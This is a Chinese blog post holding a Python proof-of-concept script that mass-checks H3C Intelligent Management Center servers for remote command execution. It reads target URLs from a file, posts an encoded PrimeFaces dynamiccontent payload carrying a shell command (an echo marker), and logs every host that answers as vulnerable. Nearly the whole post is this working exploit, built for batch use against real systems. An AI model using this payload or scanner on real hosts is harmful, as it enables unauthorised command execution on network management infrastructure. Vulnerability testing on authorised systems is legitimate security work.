H3C Intelligent Management Center远程命令执行批量检测程序

  

//poc验证:

#H3C Intelligent Management Center远程命令执行批量检测程序
#url.txt放入ip,如:http://192.168.1.3
#python3 h3c.py
#author: pt007@vip.sina.com
import requests,sys


def write_result(result):
    #print(result)
    with open('url1.txt', 'a') as f:
        f.write(result+'\n')

def atimc(url):
    headers = {
    'Connection': 'close',
    'Cache-Control': 'max-age=0',
    'sec-ch-ua': '"Chromium"',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Sec-Fetch-Site': 'none',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh-TW;q=0.9,zh;q=0.8',
    'Cookie': 'oam.Flash.RENDERMAP.TOKEN=jw7ysel68; JSESSIONID=EB4E60FA4F333FF21B488E9937B4C739; currentThemeName=imc-new-webui',
    'Content-Type': 'application/x-www-form-urlencoded'
    }
    payload1="pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5A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FtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=echo laotie666"

    try:
       flag = requests.post(url+"/imc/javax.faces.resource/dynamiccontent.properties.xhtml",data=payload1,headers=headers,verify=False).text.find("laotie666")!=-1
       #print(flag)
       if flag:
          result = url
          print(result)
          write_result(result)
       else:
          print("[-]Failure To Exploit A Vulnerability\n")
    except Exception as e:
       print(e)

if __name__=="__main__":
   #imcip=input("Please enter the attacked ip:port\n")
   file=open('url.txt')
   for url in file.readlines():
      atimc(url.strip())

 

 

  

posted @ 2021-05-29 20:29  pt007  阅读(1039)  评论(0编辑  收藏  举报